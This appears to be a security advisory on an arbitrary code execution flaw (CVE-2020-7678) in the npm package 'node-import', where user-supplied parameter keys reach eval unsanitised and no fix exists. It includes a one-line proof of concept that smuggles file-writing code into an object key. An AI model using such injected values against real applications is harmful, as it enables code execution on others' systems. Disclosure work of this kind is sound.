

Arbitrary Code Execution

Affecting `node-import` package, versions *

INTRODUCED: 15 JUN 2020 CVE-2020-7678 CWE-78 FIRST ADDED BY SNYK

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How to fix?

There is no fixed version for `node-import`.

Overview

`node-import` is a package that imports dependencies and run it directly or concatenate them and exports to file.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The "params" argument of module function can be controlled by users without any sanitization.b. This is then provided to the "eval" function located in line 79 in the index file "index.js".

PoC

```
var a = require("node-import"); var params = { 'fs=require("fs");fs.writeFile("JHU");//':123 } a.module('',params,true)
```

References

- GitHub Issue

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Exploit Maturity Proof of concept

Attack Complexity Low

Confidentiality HIGH

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9.8 CRITICAL

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Snyk ID SNYK-JS-NODEIMPORT-571691

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Credit JHU System Security Lab

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